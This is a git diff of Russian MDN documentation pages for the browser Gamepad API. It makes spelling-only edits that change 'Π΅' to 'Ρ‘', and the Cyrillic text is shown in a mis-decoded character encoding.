+<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ <code>Gamepad</code> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½ Π² ΠΎΠ΄Π½ΠΎΠΌ ΠΈΠ· Π΄Π²ΡƒΡ… случаСв: ΠΊΠ°ΠΊ свойство <code>gamepad</code> событий {{event("gamepadconnected")}} ΠΈ {{event("gamepaddisconnected")}}, ΠΈΠ»ΠΈ считываниСм любой ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ Π² массивС, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½Π½ΠΎΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ {{domxref("Navigator.getGamepads()")}}.</p>
<h2 id="Бвойства">Бвойства</h2>
@@ -17,11 +17,11 @@ translation_of: Web/API/Gamepad
<dt>{{domxref("Gamepad.id")}} {{readonlyInline}}</dt>
<dd>{{domxref("DOMString")}} содСрТит ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΎΠ½Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π΅.</dd>
<dt>{{domxref("Gamepad.index")}} {{readonlyInline}}</dt>
- <dd>Π¦Π΅Π»ΠΎΠ΅ Π°Π²Ρ‚ΠΎΠΈΠ½ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ΅ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ устройства, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠ³ΠΎ Π² Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΊ систСмС.</dd>
+ <dd>Π¦Π΅Π»ΠΎΠ΅ Π°Π²Ρ‚ΠΎΠΈΠ½ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ΅ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ устройства, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½ΠΎΠ³ΠΎ Π² Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΊ систСмС.</dd>
<dt>{{domxref("Gamepad.mapping")}} {{readonlyInline}}</dt>
<dd>Π‘Ρ‚Ρ€ΠΎΠΊΠ°, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π°Ρ, ΠΏΠ΅Ρ€Π΅Π½Π°Π·Π½Π°Ρ‡ΠΈΠ» Π»ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ элСмСнты управлСния устройства Π½Π° ΡƒΠΆΠ΅ извСстный шаблон.</dd>
<dt>{{domxref("Gamepad.connected")}} {{readonlyInline}}</dt>
- <dd>ЛогичСскоС свойство ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ Π»ΠΈ Π³Π΅ΠΉΠΌΠΏΠ°Π΄ ΠΊ систСмС Π² Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚.</dd>
+ <dd>ЛогичСскоС свойство ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π»ΠΈ Π³Π΅ΠΉΠΌΠΏΠ°Π΄ ΠΊ систСмС Π² Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚.</dd>
<dt>{{domxref("Gamepad.buttons")}} {{readonlyInline}}</dt>
<dd>Массив ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² {{domxref("gamepadButton")}} ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΡ… ΠΊΠ½ΠΎΠΏΠΊΠΈ устройства.</dd>
<dt>{{domxref("Gamepad.axes")}} {{readonlyInline}}</dt>
diff --git a/files/ru/web/api/gamepad/index/index.html b/files/ru/web/api/gamepad/index/index.html
index 2e51e57342..e1022410b4 100644
--- a/files/ru/web/api/gamepad/index/index.html
+++ b/files/ru/web/api/gamepad/index/index.html
@@ -5,9 +5,9 @@ translation_of: Web/API/Gamepad/index
---
<div>{{APIRef("Gamepad API")}}</div>
-<p>Бвойство <code><strong>Gamepad.index</strong></code> интСрфСйса {{domxref("Gamepad") }} Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ†Π΅Π»ΠΎΠ΅ Π°Π²Ρ‚ΠΎΠΈΠ½ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ΅ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ устройства, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠ³ΠΎ ΠΊ систСмС.</p>
+<p>Бвойство <code><strong>Gamepad.index</strong></code> интСрфСйса {{domxref("Gamepad") }} Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ†Π΅Π»ΠΎΠ΅ Π°Π²Ρ‚ΠΎΠΈΠ½ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ΅ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ устройства, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΊ систСмС.</p>
-<p>Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ для распознавания Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ΠΎΠ²; ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΉ, ΠΈ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΉ Π·Π°Π½ΠΎΠ²ΠΎ Π³Π΅ΠΉΠΌΠΏΠ°Π΄, Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ‚ΠΎΡ‚ ΠΆΠ΅ индСкс.</p>
+<p>Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ для распознавания Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ΠΎΠ²; ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΉ, ΠΈ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΉ Π·Π°Π½ΠΎΠ²ΠΎ Π³Π΅ΠΉΠΌΠΏΠ°Π΄, Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ‚ΠΎΡ‚ ΠΆΠ΅ индСкс.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
diff --git a/files/ru/web/api/gamepad_api/index.html b/files/ru/web/api/gamepad_api/index.html
index 482b9e484c..553d593424 100644
--- a/files/ru/web/api/gamepad_api/index.html
+++ b/files/ru/web/api/gamepad_api/index.html
@@ -17,9 +17,9 @@ translation_of: Web/API/Gamepad_API
<dl>
<dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/Gamepad" title="The Gamepad interface of the Gamepad API defines an individual gamepad or other controller, allowing access to information such as button presses, axis positions, and id."><code>Gamepad</code></a></dt>
- <dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ собой Π³Π΅ΠΉΠΌΠΏΠ°Π΄/ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΉ ΠΊ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρƒ.</dd>
+ <dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ собой Π³Π΅ΠΉΠΌΠΏΠ°Π΄/ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΉ ΠΊ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρƒ.</dd>
<dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/GamepadButton" title="The GamepadButton interface defines an individual button of a gamepad or other controller, allowing access to the current state of different types of buttons available on the control device."><code>GamepadButton</code></a></dt>
- <dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ собой ΠΊΠ½ΠΎΠΏΠΊΡƒ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Ρ… ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ΠΎΠ²</dd>
+ <dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ собой ΠΊΠ½ΠΎΠΏΠΊΡƒ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Ρ… ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ΠΎΠ²</dd>
<dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/GamepadEvent" title="The GamepadEvent interface of the Gamepad API contains references to gamepads connected to the system, which is what the gamepad events Window.gamepadconnected and Window.gamepaddisconnected are fired in response to."><code>GamepadEvent</code></a></dt>
<dd>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ события, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ Π·Π°ΠΏΡƒΡ‰Π΅Π½Π½Ρ‹Π΅ события, связанныС с Π³Π΅ΠΉΠΌΠΏΠ°Π΄Π°ΠΌΠΈ.</dd>
</dl>
@@ -30,7 +30,7 @@ translation_of: Web/API/Gamepad_API
<dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/GamepadHapticActuator" title="The GamepadHapticActuator interface of the Gamepad API represents hardware in the controller designed to provide haptic feedback to the user (if available), most commonly vibration hardware."><code>GamepadHapticActuator</code></a></dt>
<dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ собой Π°ΠΏΠΏΠ°Ρ€Π°Ρ‚Π½ΠΎΠ΅ обСспСчСниС Π² ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π΅, ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π½ΠΎΠ΅ для обСспСчСния Ρ‚Π°ΠΊΡ‚ΠΈΠ»ΡŒΠ½ΠΎΠΉ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΉ связи с ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ (Ссли таковая имССтся), Ρ‡Π°Ρ‰Π΅ всСго Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠ΅ ΠΎΠ±ΠΎΡ€ΡƒΠ΄ΠΎΠ²Π°Π½ΠΈΠ΅.</dd>
<dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/GamepadPose" title="The GamepadPose interface of the Gamepad API represents the pose of a WebVR controller at a given timestamp (which includes orientation, position, velocity, and acceleration information.)"><code>GamepadPose</code></a></dt>
- <dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ собой ΠΏΠΎΠ·Ρƒ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π° (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈ ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ Π² Ρ‚Ρ€Π΅Ρ…ΠΌΠ΅Ρ€Π½ΠΎΠΌ пространствС) Π² случаС ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π° WebVR. Π­Ρ‚ΠΎ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² Π±ΠΎΠ»Π΅Π΅ новом стандартС WebXR.</dd>
+ <dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ собой ΠΏΠΎΠ·Ρƒ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π° (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈ ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ Π² Ρ‚Ρ€Ρ‘Ρ…ΠΌΠ΅Ρ€Π½ΠΎΠΌ пространствС) Π² случаС ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π° WebVR. Π­Ρ‚ΠΎ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² Π±ΠΎΠ»Π΅Π΅ новом стандартС WebXR.</dd>
</dl>
<p>Π‘ΠΌΠΎΡ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅Β <a href="https://developer.mozilla.org/en-US/docs/Web/API/Gamepad#Experimental_extensions_to_Gamepad">extensions to the Gamepad interface</a>Β (Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ интСрфСйса Π³Π΅ΠΉΠΌΠΏΠ°Π΄Π°) для Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ Π²Ρ‹ΡˆΠ΅ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ.</p>
@@ -41,7 +41,7 @@ translation_of: Web/API/Gamepad_API
<dl>
<dt>{{domxref("Navigator.getGamepads()")}}</dt>
- <dd>Π Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° {{domxref("Navigator")}}, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‰Π΅Π΅ массив ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² {{domxref("Gamepad")}} ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΌΡƒ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠ³ΠΎ Π³Π΅ΠΉΠΌΠΏΠ°Π΄Π°.</dd>
+ <dd>Π Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° {{domxref("Navigator")}}, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‰Π΅Π΅ массив ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² {{domxref("Gamepad")}} ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΌΡƒ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½ΠΎΠ³ΠΎ Π³Π΅ΠΉΠΌΠΏΠ°Π΄Π°.</dd>
</dl>
<h4 id="Бобытия_ΠΎΠΊΠ½Π°">Бобытия ΠΎΠΊΠ½Π°</h4>
@@ -87,7 +87,7 @@ translation_of: Web/API/Gamepad_API
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</h2>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся Π½Π° основС структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² эти Π΄Π°Π½Π½Ρ‹Π΅, поТалуйста, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅:Β <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся Π½Π° основС структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² эти Π΄Π°Π½Π½Ρ‹Π΅, поТалуйста, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅:Β <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
<p>{{Compat("api.Gamepad")}}</p>
diff --git a/files/ru/web/api/gamepad_api/using_the_gamepad_api/index.html b/files/ru/web/api/gamepad_api/using_the_gamepad_api/index.html
index 5db5305cc8..6bdbe4b071 100644
--- a/files/ru/web/api/gamepad_api/using_the_gamepad_api/index.html
+++ b/files/ru/web/api/gamepad_api/using_the_gamepad_api/index.html
@@ -7,14 +7,14 @@ translation_of: Web/API/Gamepad_API/Using_the_Gamepad_API
<p><span class="seoSummary">HTML5 прСдставляСт большоС количСство Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Ρ… ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ² для ΠΏΠΎΠ»Π½ΠΎΠΉ ΠΈ ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΉ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΈΠ³Ρ€.Β Π’Π°ΠΊΠΈΠ΅ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ, ΠΊΠ°ΠΊΒ <code>&lt;canvas&gt;</code>, WebGL, <code>&lt;audio&gt;</code>, ΠΈ <code>&lt;video&gt;</code>, вмСстС с Javascript сСйчас ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ большоС количСство Π·Π°Π΄Π°Ρ‡, для ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Ρ€Π°Π½ΡŒΡˆΠ΅ Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π»ΠΈΡΡŒ Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹.Β Β Gamepad API - это способ получСния Π΄Π°Π½Π½Ρ‹Ρ… с Π³Π΅ΠΉΠΌΠΏΠ°Π΄Π° ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΈΠ³Ρ€ΠΎΠ²Ρ‹Ρ… ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ΠΎΠ².Β </span></p>
-<p><a href="/en-US/docs/Web/API/Gamepad_API">Gamepad API</a> добавляСт Π²Β  ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{ domxref("Window") }}Β  Π½ΠΎΠ²Ρ‹Π΅ события для получСния событий контроллСра. Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΊ этим событиям, API Ρ‚Π°ΠΊΠΆΠ΅ добавляСт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{ domxref("Gamepad") }}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒΒ Β ΡΠΎΡΡ‚ΠΎΡΠ½ΠΈΠ΅ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π°, ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{ domxref("navigator.getGamepads()") }} ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ всС ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Ρ‹, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π½Π° страницС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</p>
+<p><a href="/en-US/docs/Web/API/Gamepad_API">Gamepad API</a> добавляСт Π²Β  ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{ domxref("Window") }}Β  Π½ΠΎΠ²Ρ‹Π΅ события для получСния событий контроллСра. Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΊ этим событиям, API Ρ‚Π°ΠΊΠΆΠ΅ добавляСт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{ domxref("Gamepad") }}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒΒ Β ΡΠΎΡΡ‚ΠΎΡΠ½ΠΈΠ΅ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π°, ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{ domxref("navigator.getGamepads()") }} ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ всС ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Ρ‹, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Π½Π° страницС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</p>
<h2 id="conntecting" name="conntecting">ΠŸΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ Π³Π΅ΠΉΠΌΠΏΠ°Π΄Π°</h2>
-<p>Когда Π½ΠΎΠ²Ρ‹ΠΉΒ  Π³Π΅ΠΉΠΌΠΏΠ°Π΄ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ, Π½Π° страницС ΡΡ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ события  {{ domxref("Window/gamepadconnected_event", "gamepadconnected") }}. Если Π³Π΅ΠΉΠΌΠΏΠ°Π΄ ΡƒΠΆΠ΅ Π±Ρ‹Π» ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ ΠΊ ΠΌΠΎΠΌΠ΅Π½Ρ‚Ρƒ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы, события  {{ domxref("Window/gamepadconnected_event", "gamepadconnected") }} ΡΡ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠΌΠ΅Ρ‚ Π½Π° Π»ΡŽΠ±ΡƒΡŽ ΠΊΠ½ΠΎΠΏΠΊΡƒ ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π²ΠΈΠ½Π΅Ρ‚ стики.Β </p>
+<p>Когда Π½ΠΎΠ²Ρ‹ΠΉΒ  Π³Π΅ΠΉΠΌΠΏΠ°Π΄ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ, Π½Π° страницС ΡΡ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ события  {{ domxref("Window/gamepadconnected_event", "gamepadconnected") }}. Если Π³Π΅ΠΉΠΌΠΏΠ°Π΄ ΡƒΠΆΠ΅ Π±Ρ‹Π» ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½ ΠΊ ΠΌΠΎΠΌΠ΅Π½Ρ‚Ρƒ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы, события  {{ domxref("Window/gamepadconnected_event", "gamepadconnected") }} ΡΡ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠΌΡ‘Ρ‚ Π½Π° Π»ΡŽΠ±ΡƒΡŽ ΠΊΠ½ΠΎΠΏΠΊΡƒ ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π²ΠΈΠ½Π΅Ρ‚ стики.Β </p>
<div class="blockIndicator geckoVersionNote">
-<p>Π’ Firefox Π³Π΅ΠΉΠΌΠΏΠ°Π΄Β ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚ΡΡΒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ взаимодСйствуСт с Π½ΠΈΠΌ, ΠΈ ΠΏΡ€ΠΈ этом страница Π²ΠΈΠ΄Π½Π° ΠΈ Π² фокусС. Π­Ρ‚ΠΎ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ использованиС Π³Π΅ΠΉΠΌΠΏΠ°Π΄ΠΎΠ² для ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈΒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. ПослС взаимодСйствия с ΠΎΠ΄Π½ΠΈΠΌ Π³Π΅ΠΉΠΌΠΏΠ°Π΄ΠΎΠΌ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Π΅ Π³Π΅ΠΉΠΌΠΏΠ°Π΄Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ автоматичСски Π²ΠΈΠ΄Π½Ρ‹.</p>
